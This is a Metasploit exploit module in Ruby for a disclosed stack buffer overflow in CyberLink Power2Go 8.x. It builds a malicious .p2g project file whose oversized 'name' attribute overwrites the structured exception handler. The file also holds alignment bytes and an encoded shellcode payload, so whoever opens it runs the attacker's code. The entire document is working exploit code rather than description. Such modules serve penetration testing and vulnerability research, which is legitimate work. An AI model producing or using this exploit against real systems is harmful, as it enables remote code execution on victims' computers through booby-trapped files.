##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit',
      'Description'     => %q{
          This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
        The vulnerability is triggered when opening a malformed p2g file containing an overly
        long string in the 'name' attribute of the file element. This results in overwriting a
        structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'modpr0be <modpr0be[at]spentera.com>',    # initial discovery
          'mr_me <steventhomasseeley[at]gmail.com>' # msf module
        ],
      'References'      =>
        [
          ['BID', '50997'],
          ['OSVDB', '77600'],
          ['EDB', '18220'],
          ['US-CERT-VU', '158003']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'         =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00"
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          # Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
          [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
        ],
      'DisclosureDate'  => 'Sep 12 2011',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
      ], self.class)
  end

  def get_payload(hunter)

    [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
      enc = framework.encoders.create(name)
      if name =~ /unicode/
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
      else
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
      end
      # NOTE: we already eliminated badchars
      hunter = enc.encode(hunter, nil, nil, platform)
      if name =~/alpha/
        #insert getpc_stub & align EDX, unicode encoder friendly.
        #Hardcoded stub is not an issue here because it gets encoded anyway
        getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
        hunter = getpc_stub + hunter
      end
    }

    return hunter
  end

  def exploit

    title = rand_text_alpha(10)
    buffer =  ""
    buffer << rand_text_alpha(778)
    buffer << "\x58\x28"        # nseh
    buffer << target['Ret']     # seh
    buffer << "\x5f\x73" * 15   # pop edi/add [ebx],dh (after byte alignment)
    buffer << "\x58\x73"        # pop eax/add [ebx],dh (after byte alignment)
    buffer << "\x40\x73" * 3    # inc eax/add [ebx],dh (after byte alignment)
    buffer << "\x40"            # inc eax
    buffer << "\x73\x42" * 337  # add [ebx],dh/pop edx (after byte alignment)
    buffer << "\x73"            # add [ebx],dh (after byte alignment)
    buffer << get_payload(payload.encoded)

    p2g_data = <<-EOS
    <Project magic="#{title}" version="101">
    <Information />
      <Compilation>
        <DataDisc>
          <File name="#{buffer}" />
        </DataDisc>
      </Compilation>
    </Project>
    EOS

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(p2g_data)
  end
end
